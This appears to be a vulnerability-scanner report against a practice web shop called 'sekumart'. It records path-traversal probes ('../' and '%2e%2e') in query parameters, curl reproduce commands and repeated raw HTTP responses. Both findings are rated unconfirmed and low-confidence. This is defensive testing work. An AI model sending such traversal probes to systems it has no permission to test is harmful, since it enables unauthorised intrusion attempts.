date: Thu, 17 Sep 2026 10:00:03 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

baseline again, to locate per-request churn HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1…

request

GET /sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:03 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

normalised HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1…

request

GET /sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=sksaigt12/../1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:03 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

double_encoded HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1…

request

GET /sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=sksaigt12/%2e%2e/1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:03 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

control HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1…

request

GET /sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=sksaigt12/1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:03 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

listing HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1…

request

GET /sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:03 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/cart.php query string · dir unconfirmed · low confidence BV-018 info

location: GET https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1
input: dir in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

dir reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

dir looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=sks5ujghd/../1&lang=1&view=1&redirect=1&returnTo=1&return_url=1'

GET /cart.php?data=1&src=1&dir=sks5ujghd/../1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…

request

GET /cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:58 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…

request

GET /cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:58 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

normalised HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=sks5ujghd/../1&lang=1&view=1…

request

GET /cart.php?data=1&src=1&dir=sks5ujghd/../1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:58 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

double_encoded HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=sks5ujghd/%2e%2e/1&lang=1&view=1…

request

GET /cart.php?data=1&src=1&dir=sks5ujghd/%2e%2e/1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:58 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

control HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=sks5ujghd/1&lang=1&view=1&redirect=…

request

GET /cart.php?data=1&src=1&dir=sks5ujghd/1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:58 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

listing HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=&lang=1&view=1&redirect=1&returnTo=…

request

GET /cart.php?data=1&src=1&dir=&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:59 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/catalog.php query string · dir unconfirmed · low confidence BV-019 info

location: GET https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1
input: dir in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

dir reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

dir looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=sks5ujghd/../1&lang=1&view=1&redirect=1&returnTo=1&return_url=1'

GET /catalog.php?data=1&src=1&dir=sks5ujghd/../1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…

request

